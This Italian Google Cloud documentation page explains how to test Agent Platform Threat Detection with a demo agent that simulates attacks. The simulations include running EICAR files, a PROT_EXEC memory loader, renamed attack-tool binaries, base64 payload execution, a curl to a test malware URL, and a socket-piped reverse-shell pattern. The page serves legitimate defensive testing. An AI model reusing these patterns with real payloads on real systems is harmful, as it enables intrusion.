Google utilizza la tecnologia AI per tradurre i contenuti nella tua lingua preferita. Le traduzioni generate dall'AI potrebbero contenere errori.

Testare Agent Platform Threat Detection

Questa pagina spiega come verificare il funzionamento del rilevamento delle minacce di Agent Platform attivando intenzionalmente i rilevatori e controllando i risultati. Il rilevamento delle minacce di Agent Platform è un servizio integrato di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce agli agenti di Agent Runtime, assicurati che il servizio Rilevamento delle minacce di Agent Platform sia abilitato in Security Command Center.

Configura l'ambiente

Per testare il rilevamento delle minacce di Agent Platform, configura un agente demo che simuli attività dannose.

Crea un progetto e attiva la shell

Seleziona o crea un Google Cloud progetto da utilizzare per i test.

Per testare i rilevatori, puoi utilizzare la Google Cloud console e Cloud Shell.

Vai alla Google Cloud console.

Vai alla Google Cloud console
Seleziona il progetto che utilizzerai per il test.
Fai clic su Attiva Cloud Shell.

Puoi anche eseguire le istruzioni di test da una shell locale.

Configura Agent Runtime

Se non hai mai utilizzato Agent Runtime in questo progetto, configura l'ambiente Agent Runtime prima di iniziare. Registra il nome del bucket di gestione temporanea di Cloud Storage che hai creato. Ti consigliamo inoltre di seguire la guida rapida di Agent Runtime per scoprire come sviluppare ed eseguire il deployment di un agente con l'SDK Vertex AI.

Crea script per il test

Creerai diversi file che verranno utilizzati per eseguire il deployment di un nuovo agente per i test. Utilizza un editor di testo, ad esempio nano.

Crea un nuovo file denominato requirements.txt con i seguenti contenuti.

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

Crea un nuovo file vuoto denominato installation_scripts/install.sh. Alcuni test richiedono l'aggiunta di contenuti a questo file.

Crea un nuovo file denominato main.py con i seguenti contenuti. Sostituisci le variabili PROJECT_ID, LOCATION e STAGING_BUCKET. Il nome del bucket di gestione temporanea deve includere il prefisso gs://.

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

Configura l'ambiente virtuale

Crea e attiva un ambiente virtuale Python.

  python3 -m venv env
  source env/bin/activate

Installa le dipendenze necessarie nell'ambiente virtuale.
```
pip install -r requirements.txt
```

Testa lo script

Esegui lo script dall'interno dell'ambiente virtuale con python3 main.py. La creazione, il deployment e l'esecuzione dell'agente di test con questo comando richiedono diversi minuti.

Lo script restituisce il nome della risorsa dell'agente di cui è stato eseguito il deployment e alcuni oggetti JSON, tra cui una risposta LLM e altri metadati. Se in questa fase si verificano errori di autorizzazione o di deployment, consulta la sezione Risoluzione dei problemi per i passaggi successivi.

Testa i rilevatori

Per testare i rilevatori di rilevamento delle minacce di Agent Platform, sostituisci il codice nella funzione threat_detection_test con il codice che simula un attacco. Lo script può richiedere molto tempo per eseguire il deployment dell'agente ed eseguire query. Per velocizzare i test, puoi combinare i contenuti di diverse di queste funzioni.

Esecuzione: file binario dannoso aggiuntivo eseguito

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output += _run_command(["touch", "/tmp/test_mal_file"])
  with open("/tmp/test_mal_file", "w") as f:
    f.write(eicar)
  output += _run_command(["chmod", "700", "/tmp/test_mal_file"])
  output += _run_command(["sh", "-c", "/tmp/test_mal_file"])
  output += _run_command(["sleep", "10"])
  return output

Esecuzione: libreria dannosa aggiuntiva caricata

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test. Potresti ricevere un errore dall'SDK Vertex AI relativo all'analisi della risposta, ma il risultato viene comunque generato.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  with open("/tmp/test_mal_lib", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/tmp/test_mal_lib"])
  output += _run_command(["sleep", "10"])
  return output

Esecuzione: container escape

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/botb-linux-amd64"])
  output += _run_command(["chmod", "700", "/tmp/botb-linux-amd64"])
  output += _run_command(["/tmp/botb-linux-amd64", "-autopwn"])
  output += _run_command(["sleep", "10"])
  return output

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/amicontained"])
  output += _run_command(["/tmp/amicontained"])
  output += _run_command(["sleep", "10"])
  return output

Esecuzione: esecuzione degli strumenti di ricognizione locale

Sostituisci la funzione threat_detection_test nello script di test, quindi esegui lo script di test.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/linenum.sh"])
  output += _run_command(["/tmp/linenum.sh"])
  output += _run_command(["sleep", "10"])
  return output

Esecuzione: file binario dannoso modificato eseguito

Replace the `threat_detection_test` function in the test script, and then run the
test script.

```python
def threat_detection_test():
    eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
    output = _run_command(["sleep", "60"])
    output += _run_command(["chmod", "-R", "777", "/code"])
    with open("/code/entrypoint.sh", "w") as f:
f.write(eicar)

output += _run_command(["chmod", "700", "/code/entrypoint.sh"]) output += _run_command(["sh", "-c", "/code/entrypoint.sh"]) output += _run_command(["sleep", "10"]) return output ```

Esecuzione: libreria dannosa modificata caricata

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test.

def threat_detection_test():
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output = _run_command(["sleep", "60"])
  output += _run_command(["chmod", "-R", "777", "/code"])
  with open("/code/entrypoint.sh", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/code/entrypoint.sh"])
  output += _run_command(["sleep", "10"])
  return output

Esecuzione: skill dannosa aggiuntiva eseguita

Questi rilevamenti di esecuzione di skill dannose sono leggermente diversi dagli altri rilevatori. Anziché definire completamente la logica all'interno di threat_detection_test, racchiudi threat_detection_test in una funzione di fabbrica Python. Lo script dello strumento Python caricherà un payload di test utilizzando una variabile di ambiente B64_PAYLOAD anziché codificarla nello script. Assicurati di esportare B64_PAYLOAD nel terminale della shell.

export B64_PAYLOAD=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)

Sostituisci la funzione threat_detection_test nello script per il test con la seguente funzione create_threat_tool. Aggiorna il codice di inizializzazione dello script nella parte inferiore dello script per chiamare correttamente questo strumento, passando local_payload.

import base64
def create_threat_tool(injected_payload):
    def threat_tool():
        """Runs a threat detection test by writing and executing a base64 encoded payload."""
        output = _run_command(["sleep", "60"])
        test_file = "/tmp/tmp_mal_file"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        decoded_content = base64.b64decode(b64_payload)
        with open(test_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", test_file])
        output += _run_command(["sh", "-c", test_file])
        output += _run_command(["sleep", "10"])
        output += _run_command(["sha256sum", test_file])
        output += _run_command(["rm", test_file])

        return output

    return threat_tool

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Esecuzione: skill dannosa modificata eseguita

Sostituisci la funzione threat_detection_test nello script per il test con la seguente funzione create_modified_threat_tool. Sostituisci il codice di inizializzazione dello script nella parte inferiore dello script per chiamare correttamente questo strumento, passando local_payload come mostrato nell'esempio seguente.

import base64
def create_modified_threat_tool(injected_payload):
    def modified_threat_tool():
        """Runs a threat detection test by modifying an existing file with a decoded payload and executing it."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", target_file])
        output += _run_command(["sh", "-c", target_file])
        output += _run_command(["sleep", "10"])

        return output

    return modified_threat_tool

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Esecuzione: skill dannosa aggiuntiva caricata

Sostituisci la funzione threat_detection_test nello script per il test con la seguente funzione create_threat_library. Sostituisci il codice di inizializzazione dello script nella parte inferiore dello script per chiamare correttamente questo strumento, passando local_payload come mostrato nell'esempio seguente.

import base64
def create_threat_library(injected_payload):
    def threat_library():
        """Simulates loading a malicious library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        test_lib_file = "/tmp/test_mal_lib"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        decoded_content = base64.b64decode(b64_payload)

        with open(test_lib_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, test_lib_file])
        output += _run_command(["sleep", "10"])

        for f_path in [test_lib_file, loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return threat_library

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Esecuzione: skill dannosa modificata caricata

Sostituisci la funzione threat_detection_test nello script per il test con la seguente funzione create_modified_threat_library. Sostituisci il codice di inizializzazione dello script nella parte inferiore dello script per chiamare correttamente questo strumento, passando local_payload come mostrato nell'esempio seguente.

import base64
def create_modified_threat_library(injected_payload):
    def modified_threat_library():
        """Simulates loading a modified existing binary as a library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, target_file])
        output += _run_command(["sleep", "10"])

        for f_path in [loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return modified_threat_library

if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

Rilevato URL dannoso

Aggiorna il file installation_scripts/install.sh con i seguenti contenuti.

#!/bin/bash
apt-get install -y curl --no-install-recommends

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test.

def threat_detection_test():
  url = "https://testsafebrowsing.appspot.com/s/malware.html"
  output = _run_command(["sleep", "60"])
  output += _run_command(["curl", url])
  output += _run_command(["sleep", "10"])
  return output

Reverse shell

Sostituisci la funzione threat_detection_test nello script per il test, quindi esegui lo script per il test.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/echo", "/tmp/sh"])
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("8.8.8.8", 53))
  subprocess.run(["/tmp/sh"], stdin=s, stdout=s, stderr=s, timeout=5)
  output += _run_command(["sleep", "10"])
  return output

Passaggi successivi

Scopri di più su rilevamento delle minacce di Agent Platform.
Scopri come utilizzare il rilevamento delle minacce di Agent Platform.

Testare Agent Platform Threat Detection Mantieni tutto organizzato con le raccolte Salva e classifica i contenuti in base alle tue preferenze.

Prima di iniziare

Configura l'ambiente

Crea un progetto e attiva la shell

Configura Agent Runtime

Crea script per il test

Configura l'ambiente virtuale

Testa lo script

Testa i rilevatori

Esecuzione: file binario dannoso aggiuntivo eseguito

Esecuzione: libreria dannosa aggiuntiva caricata

Esecuzione: container escape

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Esecuzione: esecuzione degli strumenti di ricognizione locale

Esecuzione: file binario dannoso modificato eseguito

Esecuzione: libreria dannosa modificata caricata

Esecuzione: skill dannosa aggiuntiva eseguita

Esecuzione: skill dannosa modificata eseguita

Esecuzione: skill dannosa aggiuntiva caricata

Esecuzione: skill dannosa modificata caricata

Rilevato URL dannoso

Reverse shell

Passaggi successivi

Testare Agent Platform Threat Detection